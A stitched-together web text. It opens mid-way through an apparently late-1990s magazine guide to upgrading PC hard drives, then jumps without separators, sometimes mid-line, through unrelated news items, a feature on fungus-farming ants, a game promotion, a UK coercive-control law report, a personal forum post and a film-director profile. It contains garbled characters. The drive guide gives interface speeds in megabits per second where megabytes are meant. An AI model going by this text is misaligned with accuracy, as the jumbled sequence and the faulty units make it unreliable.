There is, however, one compatibility issue to keep in mind: If you bought your PC before 1996, it may not take full advantage of your new drive's top speed. All the drives we tested except the Fujitsus use the latest high-speed interface, known variously as UltraDMA, UltraATA, or ATA-4. This interface offers a maximum transfer speed (also known as burst rate) of 33 megabits per second--twice that of ATA-3 drives like the Fujitsus. Only the newest PCs--usually those made in the past year--have ATA-4 support, which requires a motherboard with Intel's LX or TX chip set and BIOS.
To find out if your PC supports ATA-4, check the computer manual or open your BIOS setup program, where the type of hard drive support is usually shown in the peripherals section. If your PC doesn't qualify, it's not a big problem. All ATA-4 drives are backward compatible with older motherboards, but you'll be limited to a maximum transfer rate of 16.7 mbps--half the burst rate of optimal ATA-4 but still plenty for all common applications. The burst rate of a drive isn't critical for most real-world applications; you might notice a difference only if your hard drive were perfectly defragmented and you were reading long documents off it (the less fragmentation, the less the drive head has to search to read a file). If you really want that extra speed, though, you can get a PCI add-in ATA-4 card like Promise Technology's Ultra33 card for $60 to $80.
Upgrade Wisdom
Basic hard drive installation steps are the same whether you're installing a slim 5.2GB model or a 12GB titan. Set the jumpers on the new drive to master, install it in the place occupied by the old drive, adjust your PC's BIOS settings, partition and format the new drive, change the jumper settings on your old drive to slave and connect it to the same ribbon cable as the new one, and copy the complete contents of the old drive to the new one. Now, wasn't that a cinch?
It's easier than it sounds. To install a hard drive successfully, think like a Boy Scout: Be prepared. Follow the steps in the checklist "Things to Do Before and During Your Hard Disk Upgrade," and your installation should have a happy ending.
All hard drive kits use software that simplifies the process of copying your current drive's contents onto your new drive. Forget reinstalling Windows and all your applications. In most cases, reinstalling Windows opens a whole different can of worms. For the fastest, easiest upgrade, just use the software bundled with your new hard drive to copy everything over from the old one. Only a few circumstances warrant a fresh start. PC World columnist Steve Bass wrote about his experience reinstalling everything last February in his column. If you're considering this option, give it a read.
Jumping Through Jumpers
The first step in any hard drive upgrade is to physically remove the old drive and put in the new one (in the same drive bay if possible). Most PCs made since 1995 have two EIDE connectors on the motherboard, called the primary and secondary channels. They may each have a cable with two connectors. Your old drive is most likely attached to the first connector on the primary channel's cable, with its jumpers set to master--the only configuration that allows that hard drive to start your PC. Your goal: Use the same settings for your new drive.
Eventually, after you've formatted and partitioned the new drive, you'll add the old one back to the same ribbon, with its jumpers set to slave. But that comes later. For now, just remember that if any of the connectors or jumper settings for either drive is wrong, your PC may not start.
Fortunately, most drive manufacturers make jumpers easy to figure out. The settings for most of the models we tested are printed right on the drive as well as in the manual (Quantum's settings are only in the manual). The Seagate and Western Digital drives are the most clearly marked; IBM's and Maxtor's take a bit of study. Nearly all the drives came set as masters.
The only drives we installed that deviated from the new-driveÐmaster, old-driveÐslave configuration were Seagate's Medalist Pro 6451 and 8641. Because Seagate's easy-to-use DiscWizard software formats and partitions the drives in Windows 95, it needs to run off your old hard drive. This process adds a step to the installation. To set up a Seagate drive, you must temporarily jumper it as a slave, hook it up to the other connector on the same cable as the old hard drive, and change it later to be the master. Fortunately, the procedure is explained thoroughly in Seagate's manual.
Plugging In
Next, you'll have to hook up your new drive to your PC's power. You can usually find an inch-wide, rectangular plastic connector hanging off the bundle of cables emerging from your PC's power supply. If you can't find a free power connector anywhere, you'll need a Y-adapter. This device, available for a few bucks at most computer stores, splits a single power connector into two.
Mounting your new drive in your PC is the easiest part of the installation, but you must still be extremely careful. Even a bump can damage the drive's delicate internal components. Most PC cases have free drive bays. With the exception of Quantum's aptly named Bigfoot drives (which require a 5.25-inch drive bay), all the drives we installed are 3.5 inches high. If you can't find a place to mount the drive (such as the bay where the old one sat), check your PC's manual.
Nearly all the kits we tested come with mounting brackets to make 3.5-inch drives fit in 5.25-inch drive bays. (The 5.25 inch Bigfoot drives don't need brackets.) One caveat: Some name-brand PCs require proprietary brackets that are available only from the manufacturers. In particular, Compaq, Hewlett-Packard, and IBM are notorious for this arrangement. Check your system to make sure you don't need these special brackets before you begin. In addition, you'll have to buy your own brackets for the Fujitsu (or any other bare-bones) drives if your system doesn't have any 3.5-inch drive bays open. But regardless of whether you use brackets, you should always use the screws that come with the drives. Screws that are too long can damage a drive.
The Secret Life of BIOS
Once your new hard drive is in place, it's time to adjust your PC's setup program. This program resides in the BIOS chip on your motherboard and sets up all the peripherals when you start a PC. Every PC's BIOS setup program is slightly different. Fortunately, new "smart" BIOSes and installation utilities make some of the complexity associated with BIOS setup a thing of the past.
In pre-Pentium days, people had to manually enter such esoterica as the number of cylinders, heads, and sectors per track (also known as CHS settings) into the setup program. Today, if you can set the program's hard drive detection to Auto, the BIOS will automatically send a "Who are you?" message to everything connected to the EIDE cables. Each device responds with coded information, and all the necessary data is retrieved--without your involvement.
If the hard drive is larger than 8.4GB, though, it may present complications. Occasionally, you may be unable to manually enter into the setup program CHS settings that are big enough to handle the largest drives. Older setup programs in particular have this built-in limitation. If your PC is of an older vintage--especially if it's a 486-based system made before 1994--you're more likely to run into these problems, though it can happen on a newer computer, too.
In these rare cases, you'll have to rely on the setup software that comes with the drive. (With Fujitsu, IBM, and Quantum drives, you must download Ontrack Disk Manager from the vendor's Web site.) This program installs an overlay that does an end run around the limitations of the BIOS setup program to enable your PC to use the full capacity of the drive. But in a weird catch-22, you need to start up the drive before you can install the overlay. The software works around this problem by temporarily "fooling" your PC into thinking the drive is installed (usually by entering bogus values into the setup) so that the overlay can be installed.
The only upgrade kit drive with which we needed to install the overlay was Quantum's 12GB Bigfoot TX, the biggest kit drive we tested. The drive instructions told us the temporary values to enter. Once we did that, the drive worked fine.
If all this business sounds confusing and complicated, don't panic. The documentation that comes with the hard drive kits (again, except the Fujitsus) explains these steps clearly.
Formatting: The Final Frontier
Congratulations. You've made it to formatting and partitioning your new hard drive and copying your files over. Now you're ready to start your PC with that DOS boot floppy you made beforehand. The Seagate drives are the exceptions: You run DiscWizard from Windows 95.
In the past, to partition and format you needed to use FDISK, a DOS program with one of the worst user interfaces in history. (In addition to being difficult to use, FDISK was dangerous, capable of instantly and irreversibly wiping out all the data on a hard drive.) But you don't need to wrestle with FDISK anymore. All the upgrade kits we tested come with software that guides you step-by-step through the formatting process.
The Micro House EZ-Drive DOS application bundled with the Maxtor and Western Digital drives is nearly identical to the Ontrack Disk Manager DOS software available for download when you buy a Fujitsu, IBM, or Quantum drive kit. The easiest of the software packages to use, however, is DiscWizard from Seagate. DiscWizard provides a little extra hand-holding for the technophobe, and even estimates the time each step will take.
The included software formats your hard drive in one of two ways. In the latest version of Windows 95 (also known as OSR2) and Windows 98, you can format the drive into a single FAT32 partition, which means the drive's entire capacity will be on the C: partition. If you have an earlier version of Windows 95 or are using Windows 3.x, you must format the drive using FAT16; your system won't be able to read a drive formatted with FAT32 and will force you to reformat it. (You can check which version of Windows 95 you have by right-clicking on My Computer, and choosing Properties from the menu. If you see the notation 'Microsoft Windows 95 4.00.950 B', you have the latest version.) FAT16 partitions can be no larger than 2GB, so for an 8GB drive, a minimum of four drive letters would be assigned. On the other hand, a FAT16-formatted drive finds information more quickly than a FAT32 drive, though the nuisance of keeping multiple drive letters straight is hardly worth the wee 3 to 4 percent boost in drive performance.
Each formatting program offers both a quick setup option (which automatically sets multiple partitions of equal size) and customizing options for creating partitions of varying sizes. Then the program formats the drive with those partitions.
Now, you're ready to reinstall your old drive, assuming you want to keep it (and there's no reason not to). Although you can do this after installing the new drive, if you reinstall it before you've formatted the new disk, you risk accidentally formatting your original drive and erasing all your data. Ouch! (Fortunately, you have that backup we told you to make, right?)
All the software packages can copy all the data from your original drive onto your new drive. Afterward, simply restart your PC, and you'll be up and running. (With the Seagate drives, because you must first set the new drive as the slave, your last step will be to swap the new and old drives and jumpers to make Seagate's drive the master.)
Crossing the Finish Line
Don't be scared of Godzilla-size drives because they're huge. Drive makers have always struggled to keep up with users' storage demands, which are believed to double each year. But thanks to recent technological innovations such as Giant MagnetoResistive drives and faster revolutions per minute, drive makers are finally getting ahead of users' needs. This year's hard drives are more than four times the size of last year's models, at close to the same price.
If you're overdue for an upgrade, these drives are a colossal bargain. They're easier than ever to install and they should gratify the needs of even the most unrepentant digital pack rat for years to come.
Best Buys: Seagate and Maxtor Take Top Honors
Seagate's $225 6.4GB Medalist Pro 6451 is an outstanding general-purpose drive for novices. It comes with complete installation instructions, a great manual, a protective cover over the circuitry that prevents static damage (removed in the photo), and good Web support. Seagate's user-friendly DiscWizard installation software runs from Windows, so installation involves an additional step.
At $279, the Maxtor 8.4GB DiamondMax 2160 gives you two more gigabytes of space for $54 more than the Seagate. It's an average performer, but the upgrade kit includes an easy-to-read foldout poster that steers you through the installation process. Maxtor's stellar reputation for support is highlighted by its "No Quibble" replacement policy, which guarantees you a new drive in days.
Stan Miastkowski is a PC World contributing editor.Fresh off her first U.S. Senate debate with Democratic incumbent Michael Bennet and Republican Darryl Glenn, Libertarian Lily Tang Williams will take on the Green Party’s Arn Menconi Thursday night.
Moderated by Colorado Independent journalist Corey Hutchins, the two third-party candidates will debate at 7 p.m. at CU Boulder’s Old Main Chapel as part of their joint Town Hall Tour.
“Both financial support and media coverage can be elusive for third-party candidates to make their candidacy and views known to voters,” Williams said in a statement. Which is why the two “decided to join forces to make their alternative views better known to Colorado voters.”
Williams, a Chinese immigrant and real estate investor in Parker, won the Colorado Libertarian Party’s nomination in March and was allowed into the much-anticipated Club 20 debate in Grand Junction Sept. 10 because her party has more than 1 percent of registered voters statewide. The Green Party does not have enough registered voters for a candidate to make the cut.
The national Libertarian Party was founded in Colorado Springs in the early 1970s.
With a passionate delivery, Williams promotes individual freedom and free markets, wants to curb crony capitalism and end domestic spying. She says she’s not afraid to call out members of Congress as “communists” because she knows what one looks like having lived under the rule of Chairman Mao.
Perhaps her most interesting policy proposal: Suggesting politicians wear body cameras so the public knows what they’re up to. (“I am not joking,” she told The Independent about the idea.)
Arn Menconi, a former Eagle County Commissioner, left the Democratic Party and is running a progressive campaign aimed at ending wars, promoting universal health care, shuttering fossil fuel production and closing the inequality gap.
“We’re run by a global corporate mafia,” Menconi says of modern-day America. “Everyone who I’m talking to believes that we’re run by an oligarchy.”
The Unity Party’s Bill Hammons will be on the Nov. 8 ballot for U.S. Senate as a qualified political candidate, but he won’t be joining the two at the forum.
He doesn’t want to be “dragged down by fringe parties who haven’t placed a single candidate in Congress after four decades of spinning their wheels,” he says.A handout photograph made available by the US Customs and Border Protection (CBP) shows U.S. Customs and Border Protection Officers as they conduct enhanced screening at JFK International Airport in New York City. Health screenings to help prevent the spread of Ebola began Saturday for some travelers to New York's John F. Kennedy International Airport. UPI/Donna Burton/CBP | License Photo
GENEVA, Switzerland, Oct. 14 (UPI) -- As the Ebola virus continues to ravage West Africa, the World Health Organization fears the rate of infection will jump to 5,000 to 10,000 new patients per week as soon as December.
The deadly virus is currently spreading through Guinea, Sierra Leone and Liberia and has killed nearly 4,500 people since the outbreak began in late 2013.
"Any sense that the great effort that's been kicked off over the last couple of months is already starting to see an impact, that would be really, really premature," Bruce Aylward, the WHO's assistant director general in charge of the agency's Ebola response, said at a press briefing according to Bloomberg.
"The virus is still moving geographically and still escalating in capitals, and that's what concerns me."
Thus far, more than 8,900 people have been infected with Ebola and the death rate has risen from 50 to 70 percent.
The WHO again warned the outbreak could become worse and near impossible to control if the international community does not commit more resources to a response."We really want to do this, especially for J-Dub," Bryce Harper says of his teammate and friend, Jayson Werth. (Photo11: Brad Mills, USA TODAY Sports)
ATLANTA - The vaunted trio trickled into the nation’s capital one year at a time, and now after spending the last seven years together, their journey is nearing a dramatic conclusion, one they hope stretches into November.
Stephen Strasburg and Bryce Harper, two of the most celebrated draft picks in baseball history, and their mentor, Jayson Werth, now are poised to take the Washington Nationals where they have never gone since the franchise’s berth.
This is the year, their last hurrah together - with Werth’s $126 million contract expiring after this season and Harper perhaps becoming baseball’s first $500 million man in free agency after 2018 - that they hope to make history, bringing a World Series championship to Washington, D.C., for the first time since 1924.
If they are ever going to do it, this has got to be their year.
“We really want to do this, especially for J-Dub, for just what he’s meant to all of us,’’ Harper told USA TODAY Sports. “J-Dub has been our leader since the day I got here. He’s been somebody I can lean on, and we can lean on him. He’s the one who has helped take this organization to where it is.
“If this is his last year, we’d like to take him on a good, long run in the playoffs, and have a whole lot of fun doing it.’’
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This is a franchise that has won the second-most games in baseball since 2012. The Nationals, along with the Los Angeles Dodgers, are the only teams to win four division titles in the last six years. Yet, they been haunted by their October failures.
Three times they have played in the National League Division Series.
Three times they have lost.
Even in their |
She owns Rocket Fizz, a soda pop and candy shop facing Euclid Avenue in the revitalized 5th Street Arcade.
She hopes the convention crush will bring in more business. �My husband and I actually plan on sleeping here,� said Hale, who lives in the Akron suburb of Cuyahoga Falls.
She does have security concerns. Hale plans to remove products from the window and has metal grates over the windows and doors that she can pull down �if things get out of control.�
�I�m going to remain positive until I see a reason not to,� she said.
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@phrontpageHome sales in B.C. were up in October compared to the same month last year.
The British Columbia Real Estate Association says 8,677 homes were sold last month in B.C., an increase of 19.3 per cent from last year, despite a housing supply crunch.
In Metro Vancouver, the association reports sales were up nearly 35 per cent over the same time period.
Prices continued to rise, however, in Metro Vancouver, with the average price of a home jumping more than 20 per cent to $1,074,834 from $891,705 year over year.
Meantime, the average residential price in the province also rose to $720,129, up 18.7 per cent from October 2016.
BCREA chief economist Cameron Muir said, in a statement Tuesday, that a lack of supply in the resale market continues to put upward pressure on home prices in most B.C. regions.
Total active listings were down 5.1 per cent to 27,987 units in October compared to the same month last year, and have declined 49 per cent over the last five years, he added.
B.C. is currently considered to be in a balanced market.
ticrawford@postmedia.comTed Schultz, the research entomologist at the National Museum of Natural History, talks about a type of ant that plants fungus. (Mahnaz Rezaie/The Washington Post)
The soldier steps into the immense, dense forest of the Amazon. She sniffs the air — picks up rotting wood, flower nectar, a damp breeze — and trots out among the towering trees.
Behind her, below ground and out of sight, sits one of the world's strangest societies. Tens of thousands of farmers tend to a vast garden beneath the earth. Nurses care collectively for the community's kids. Sanitation workers scurry around the subterranean city, meticulously scouring it of waste and weeds; the unwanted material is then carried to a garbage dump far away. Jobs in this society are assigned at birth on the basis of the individual's size and shape. But all members serve at the will of their queen.
The soldier stops and smells something strange — she doesn't know it, but it's cream of wheat. She walks toward the smell, picks up its large, white source, and turns to carry it home.
"Found one!" Ted Schultz scrambles to his feet, his gaze locked on the white speck and the tiny creature carrying it. He and his colleagues follow the soldier back to its colony, pinpoint the entrance and begin to dig. It's not till they've burrowed through several feet of earth that they find what they're looking for: a massive, white, sponge-shaped fungus swarming with ants.
A farming ant caring for its fungus. (Ted Schultz/NMNH)
"A lot of non-biologists are attracted to things like butterflies or ladybugs — certain charismatic insects — and ants are not among those," said Schultz, back in his office in the entomology department at the National Museum of Natural History. "But actually I think if people could see what ants look like really close up they would change their minds."
In front of him sit several of the ant colonies he's collected over the course of his 26-year career. The communities inside the clear plastic boxes are miniature cities teeming with tiny life — the rare specimens in the museum's 145-million-item collection that are still alive.
Schultz's ants are farmers, and that white fungus he pulled out of the ground is their crop. Between 55 and 60 million years ago, an ancient insect evolved the ability to feed a fungus and live off of its spores. Now there are some 250 ant species that farm fungi — tending to them, weeding them, ensuring that they have the nutrients they need. They depend on the fungus for food, and in turn, the fungus depends on the ants to grow.
"It was immediately like, 'holy moly,' just a light bulb going off," said Peter Peregrine, an anthropologist at Lawrence University, recalling the first time he heard about these ants. "That's agriculture. That's really interesting."
For years, Schultz has been tracking these ants in the tropics and scrutinizing them in the lab in an effort understand how the creatures evolved into farmers millions of years before Homo sapiens even existed on the planet. But recently he's teamed up with anthropologists like Peregrine to look for parallels between people and ants. If they can find them, perhaps the history of human agriculture will help illuminate how farming insects evolved. And in return, Schultz believes, perhaps the ants can teach us humans something about ourselves.
It's a high calling for a tiny bug with a trifling brain. But Schultz has long known that ants are not to be underestimated. When he was 8, his mother gave him a book called "The World of Ants" (he still owns a copy), which included three pages on fungus farmers.
"I remember reading that and thinking, like, 'What?' " Schultz recalled. "How can something seemingly so simple as an ant, with such a small brain, do things like agriculture that are so complicated? That always kind of stuck with me."
Ted Schultz digs for an ant colony while doing field research in 2008. (NMNH)
Ant colonies illustrate a phenomenon called emergence: Parts of a system acting in very simple ways can produce collective behaviors that are incredibly sophisticated, without anyone telling them how. The same phenomenon explains how individual birds can form a flock, and how the millions of neurons in our nervous systems can create consciousness. Many entomologists argue that social insects like ants should be studied on the scale of the colony, rather than the individual — it's by acting as a community that these creatures do what they do.
"The original ant 130 million years ago was social," Schultz said, "and on that foundation of sociality all kinds of ant lineages have evolved very, very complicated behaviors."
An agricultural ant colony begins with a single member, the queen. She seeds her garden with spores carried from her mother's home, and gives birth to the workers who will cultivate it. As the new colony grows, worker ants fertilize the fungus with bits of plant material collected from the outside — flower pollen, chewed up leaves. The most massive colonies can defoliate an entire tree in a matter of days, given the opportunity (though trees have evolved their own defenses).
Some species have learned to "herd" aphid "cattle." The ants keep their bugs docile with tranquilizing chemicals the ants secrete from their feet (there are probably more than a few human cattle ranchers who wish they could do the same), then feed on the honeydew that the aphids excrete, much the way that humans drink cows' milk.
Schultz and his colleagues have reconstructed the evolution of these abilities by comparing the genomes of more primitive species with those of advanced ones. DNA analysis of the ants' fungi shows that the crops' evolution mirrors that of the species that farms them. Many of the ant species have adaptations that make them better farmers, including crevasses on their bodies containing microbes that produce an antibiotic they can apply to their crops. Likewise, the fungi have evolved to become more appealing to their ants.
"They're true farmers," Schultz said of his insects. "I suppose if you didn't want to call it farming you could also call it symbiosis. But then you’d have to also talk about human agriculture as a symbiosis too."
Primitive farming ants atop their fungus crop. (Ted Schultz/NMNH)
Strange as it may seem, humanity's relationship with our cultivars is a mutually beneficial one. Like ants with their fungus, we fertilize our crops, protect them from weeds and insects and help them spread around the globe.
"Domestication is really successful for the plant or animal being domesticated," said Peregrine, the anthropologist. "For example, corn began as this very localized, weedy grass, and now it's the most widely planted crop on Earth.... So who is to say that corn doesn't have a stake in this relationship as well?"
Three years ago, after hearing about farming ants from one of his colleagues, Peregrine convened a meeting of archaeologists, anthropologists and entomologists at the Santa Fe Institute to discuss possible parallels between human farmers and insects (in addition to ants, beetles and termites have also evolved the ability to farm). Agriculture could be a rare example of convergent evolution — unrelated organisms evolving a similar trait — happening across entirely different orders of animal.
"We wanted to see, do the same sort of ecological rules and laws and forces govern both systems?" Shultz said.
The answer seems to be "yes." As was the case with humans, insects became sedentary when they became farmers. Initially, farming wasn't as profitable as being a hunter-gatherer — both primitive ants and early subsistence farmers are thought to have been malnourished — but as agriculture became more advanced, it became more productive. These more sophisticated farms were able to sustain larger populations, which promoted division of labor, which gave rise to incredibly complex civilizations. Farming societies built the pyramids and the Internet, wrote the Bhagavad Gita and "Pride and Prejudice," sailed the seas and visited the moon, and began to divine the fundamental nature of the universe.
And ants? Well, ants became one of the dominant ecological forces on the planet. If you weighed every living thing in the American tropics (there are no ant farmers in the Eastern hemisphere), agricultural ants would make up 25 percent of the weight.
"Ants are super successful," said Schultz, a hint of pride in his voice. "They really shape their ecosystems, way more than any large, charismatic herbivore."
The head and powerful jaw of a Atta laevigata leafcutter worker. (Ted Schultz/NMNH)
Among both ant and human farming communities, all participants in the relationship have been irrevocably changed by it. Farming ants and their fungus have fundamentally different DNA than their non-farming relatives. Human farmers have evolved genetic adaptations that allow us to digest milk and metabolize fats; our crops, meanwhile, bear little resemblance to their wild ancestors.
That said, ant farmers are not directly comparable to people. They're not consciously manipulating their fungi (indeed, Schultz said, you can imagine a scenario in which the fungi rule the relationship, bending millions of tiny ant servants to their will). Ant agriculture is a product of natural selection, of innumerable accumulated genetic accidents. New strategies aren't learned, they're evolved. But humans have consciousness and culture, and that allowed us to achieve in a few thousand years what took ants five hundred thousand centuries to accomplish. Even though ants have been farming for much longer, Peregrine said, there isn't much they can teach us about agriculture that we don't already know.
Except this:
"One thing that is really important and a little scary is that it places humans in the natural world," Peregrine said. "The development of agriculture, which we see as this great watershed in human history... is not a unique moment. We have our own twist on it, and we do things way faster because we have culture, but at the base of it we are creatures that are subject to evolution just like all other organisms."
"Some people find that as taking away our humanity or something, but I find it humbling. It says, we’re part of nature too."
Tales from the Vault: Science museums are home to vast research collections, most of which the public never gets to see — until now. Once a month, Speaking of Science will go behind the scenes at our favorite museums to introduce readers to the fascinating objects and people we find there. Read past installments here.Monster Forest Online (http://mf.playpark.net/), developed by 9you.com in China and published in Singapore and Malaysia by Asiasoft Online, is a free-to-play casual MMORPG that provides endless hours of fun and entertainment, for all casual gamers and pet lovers alike. Asiasoft Online promises that once they reach 2000 fans by Jan. 20th, 2010, they will open up an Exclusive Sneak Preview of Monster Forest to 200 exclusive players. So come on to invite your friends to join in!
Calling all Monster Forest Fans! Do you want to try out Monster Forest even before it launches? *Gasp!*
If yes, we are setting you guys a target! Invite your friends to join us at our facebook page.
And if we are able to reach 2,000 Fans by 20th Jan 2010, we will open up an Exclusive Sneak Preview of Monster Forest to 200 exclusive players!
Yup, we only have 200 exclusive spots for you Monster Forest fanatics out there. So hurry up and invite your friends to join us!
The Sneak Preview will be held from 22nd Jan to 28th Jan.
In addition, the 200 exclusive players will also be able to obtain an Exclusive Pet during CBT & OBT if you fill up the survey form and send it back to us.
The name of this pet is Dalph and it will never be released again. So it is really really exclusive oh!Image copyright Thinkstock Image caption The abuse covered by the new offence could include a pattern of threats, humiliation and intimidation, the CPS said
Domestic abusers who control victims via social media or spy on them online could face up to five years in prison under a new law which is now in force.
The legislation will target those who subject spouses, partners and family members to psychological and emotional torment but stop short of violence.
It paves the way for charges in cases where there is evidence of repeated "controlling or coercive behaviour".
The Women's Aid charity said it was a "landmark moment" in tackling abuse.
The new law, brought into force in England and Wales, follows a Home Office consultation in which 85% of participants said the existing law did not provide sufficient protection.
It comes as Citizens Advice published figures showing a 24% rise in those seeking advice for domestic abuse.
'Limit human rights'
The Crown Prosecution Service said the type of abuse covered by the new offence could include a pattern of threats, humiliation and intimidation.
It could also involve stopping someone from socialising, controlling their social media accounts, surveillance through apps and dictating what they wear.
Alison Saunders, the director of public prosecutions, said: "Controlling or coercive behaviour can limit victims' basic human rights, such as their freedom of movement and their independence.
"This behaviour can be incredibly harmful in an abusive relationship where one person holds more power than the other, even if on the face of it this behaviour might seem playful, innocuous or loving.
"Victims can be frightened of the repercussions of not abiding by someone else's rules. Often they fear that violence will be used against them, or suffer from extreme psychological and emotional abuse.
"These new powers mean this behaviour, which is particularly relevant to cases of domestic abuse, can now be prosecuted in its own right."
Analysis
BBC legal correspondent Clive Coleman
Where do the normal power dynamics of a relationship end and "coercive or controlling" behaviour begin?
The new offence criminalises patterns of such behaviour against an intimate partner or family member.
Critical to the offence is the repeated or continuous nature of the conduct and the ability of a reasonable person to appreciate that the behaviour will have a serious effect on its victim.
A defence is also included to provide a further safeguard against inappropriate use of the new offence.
It will apply where the defendant can show that they believed they were acting in the victim's best interests and that their behaviour was objectively reasonable.
An example might be someone caring for a mentally ill spouse, who has to keep them in the home and make them take medication for their own protection or in their own best interests.
Here, the spouse's behaviour might be considered controlling, but would be reasonable in the circumstances.
Cases will be heard in magistrates' or crown courts and evidence could potentially include emails and bank records.
In order for the offence to apply, the pattern of behaviour alleged must have a "serious effect" on the victim, Home Office guidance says.
This means they must have either feared violence will be used against them on at least two occasions or they have been caused serious alarm or distress which has a "substantial adverse effect" on their usual day-to-day activities.
David Tucker, from the College of Policing, said the new offence of coercive control presented "challenges" but provided an opportunity to make victims and potential victims of serious assaults safer.Hello there Im a man from the UK living in hcmc. Ive been here about 9 months, when I first arrived I got friendly with this spanish guy and his vietnamese wife, through the wife I met her niece and she seemed nice had a few dates and then we had sex, then the morning after she started asking for money because she came in a taxi to see me and her friends, I thought ok so gave her some then she wanted more as she had lost out on work, i realised maybe she was a hooker, we used a condom once then done it once more without as we ran out.
So a few months later i start seeing a girl, we date for 3-4 months and then my friend said this girl has been known to be a hooker so this made me worried as someone else had seen her sitting with old men. Another friend told me I should get tested, I do and I have fucking syphillis I told the girl ive been seeing obviously she has it too so we get to the hospital and get our course of injections so hopefully that is it.
But im working last week before my final injection, go for a coffee and this vietnamese guy starts speaking to me, know how it is a lot of them are very friendly, hes asking where I live what I do, fairly normal conversation and he says will you go see your girlfriend after work, I say no because the week before she said we should just be friends but I cant explain this to him as he has to go.
So after work I go to the hospital for our final injection, meet the girl and im waiting and I swear I thought I saw the same guy, im maybe being paranoid but its funny seeing him outside my work hes asking questions and then I see him again.
As I say im hoping im being paranoid but what if the hospital has told authorities about our problem and the gestapo are tailing me, paranoid I know just I was sure it was the same guy in the hospital. Im trying to rationalise it by thinking if the police wanted me they would porbably easily come and get me but Ive done nothing wrong just been unlucky but I do know technically people arent supposed to have sex without marriage, share rooms etc.
Im just wondering anyone any thoughts or insights into this, am I just being paranoid, maybe it wasnt the same guy, or maybe it was the same guy but just a coincidence or maybe the authorities are tailing me?If all the glitzy awards season buzz pans out Sunday night in Los Angeles, a 32-year-old man from New Jersey will become the youngest best director winner in Oscar history.
Even if Damien Chazelle, who grew up in Princeton, doesn't take the coveted prize -- some say "Moonlight" director Barry Jenkins may triumph instead -- his modern-day movie musical "La La Land" has a good chance at bringing home plenty of gold. The movie's 14 nominations tie the record held by the 1950 film "All About Eve," a number last matched by "Titanic" in 1998.
Not bad at all for a guy who only has two other feature films under his belt. But drive is strong in the young director.
"Filmmaking's been on his mind for about 30 years," says his father, Bernard Chazelle.
"La La Land," which picked up a record-breaking seven Golden Globes in January, including awards for Chazelle's direction and screenplay, has managed another rare feat -- ultimate pop-culture saturation. A song-and-dance romance between Mia (Stone), an aspiring actress and writer who works in a cafe on a Warner Bros. lot, and Sebastian (Gosling), a jazz pianist who longs for his own club, the film, produced for $30 million and released in December, has grossed more than $135 million in the United States and $341 million worldwide.
It's hard to click around the internet without coming across dissections of the film's scenes, articles about how Chazelle's work has been inspired by old musicals or hot takes on backlash to the movie, including criticism of a white character positioning himself as a "savior" of jazz. A recent "Saturday Night Live" sketch saw actor-comedian Aziz Ansari play a man interrogated by police because he has reservations about the movie (Chazelle calls the bit "hilarious").
For a director who initially worried about how audiences would receive a throwback -- a musical conceived of and written for the big screen -- overexposure certainly hasn't been the worst outcome.
"It definitely seems to happen to every movie at a certain point," says Chazelle, whose first film was the 2009 indie "Guy and Madeline on a Park Bench," but who broke through with the intense drama "Whiplash" in 2014, scoring Oscar nominations for best picture, best adapted screenplay and a best supporting actor win for the commanding J.K. Simmons. (Simmons also has a small role in "La La Land.")
"I guess it's maybe par for the course," he says. "At the end of the day, you kind of just learn to be happy that people are talking about the movie, no matter what angle it's from."
Chazelle's rise from LA newcomer to bankable Hollywood A-lister seems to have been relatively swift -- barely seven years in the making. But back home in Mercer County, his family knows better.
For Damien, movies were always the dream, conjured by the Fred Astaire and Ginger Rogers movies his mother would rent, the used DVDs he'd find at Princeton Record Exchange, the discs he'd binge-watch from Princeton Public Library and the films he'd take in at the Garden Theatre on Nassau Street.
Both of Chazelle's parents, who have traveled to Los Angeles for Damien's latest Academy Award moment, are academics. Bernard, who originally hails from Paris, is a computer science professor at Princeton University and Damien's mother, Celia, is a professor of medieval history at The College of New Jersey and director of the college's Institute for Prison Teaching and Outreach. (Full disclosure: This reporter was once a student in her class.)
Celia Chazelle remembers renting a "Cinderella" VHS, which Damien clamored to watch ten times in just two days.
"He was absolutely taken," she says. By the time he was 3, he had informed his parents that he wanted to make movies. At 4, he was storyboarding. "He started writing stories even before he could actually write and drawing illustrations to them," she says.
At Princeton High School, Chazelle's experiences with the competitive jazz band formed the germ for what would become "Whiplash," the searing 2014 movie for which the director earned his first Oscar nomination (for the film's screenplay).
From New Jersey, Chazelle -- who also co-wrote the screenplay for the 2016 sci-fi thriller "10 Cloverfield Lane" -- enrolled at Harvard, where he became a student in the Department of Visual and Environmental Studies. His senior thesis would evolve into his first feature film, the Boston-set "Guy and Madeline on a Park Bench." Two years after he graduated, his work had its film festival premiere, followed by a small, well-received release in 2010.
Robb Moss, Chazelle's professor and advisor at Harvard, calls "La La Land" Chazelle's "$30 million version of his senior thesis." The black-and-white romance between Madeline and Guy, a jazz trumpeter, is a predecessor to his big-budget musical in theme and approach, if not scope. Bernard Chazelle, who has a role in his son's first film ("He cut a lot of my good stuff, actually"), said it was like a "trial balloon" for the big-budget picture.
Chazelle moved to Los Angeles a decade ago, hellbent on a career in the movies. "Whiplash" began its life -- and changed Chazelle's -- as a short that made waves at the Sundance Film Festival in 2013, winning a jury prize and grand jury prize. Chazelle was then able to generate enough financial backing to make the feature film starring Simmons as the taskmaster at a New York music conservatory and Miles Teller as his addled student -- a jazz drummer, like Damien. That feature-length version played at Sundance in 2014, where it won the grand jury prize and a $3 million distribution deal.
Bernard Chazelle, who introduced jazz to his son during car trips, remembers Damien being so shaken -- "terrified," even -- by the pressures of doing well in his high school jazz band that he couldn't eat breakfast or lunch. The same kind of obsession consumes Andrew, Miles Teller's character in the film.
"The entire story is told through the eyes of a teenager," he says. "So every anxiety is amplified, everything is embellished."
The Chazelles do claim some showbiz heritage. Celia Chazelle's father, John Martin, had small roles and her grandfather worked as a manager in the silent film era. Anna Chazelle, Damien's younger sister, is an actress with circus performer credentials who appears twice in "La La Land" -- once in the opening freeway number, hula-hooping atop a car, and again as assistant to a casting director.
Now working on a virtual reality short film, she followed her brother out to Los Angeles more than a year ago.
"I think we all that he knew that he had not only the passion and the talent but also this vast expanse of knowledge about the field that was just kind of unparalleled, in a way," says the 29-year-old. "For me, it's a great lesson. You just have to work so unbelievably hard in this industry."
In 2010, Damien married fellow Harvard alum Jasmine McGlade, a writer-director and former competitive fencer, after the two met at college. She had produced "Guy and Madeline," and though they divorced in 2014, is credited in the wide release of "La La Land" as an executive producer. His current girlfriend, Olivia Hamilton, has a small role in the film, as a customer at the cafe where Stone's character works.
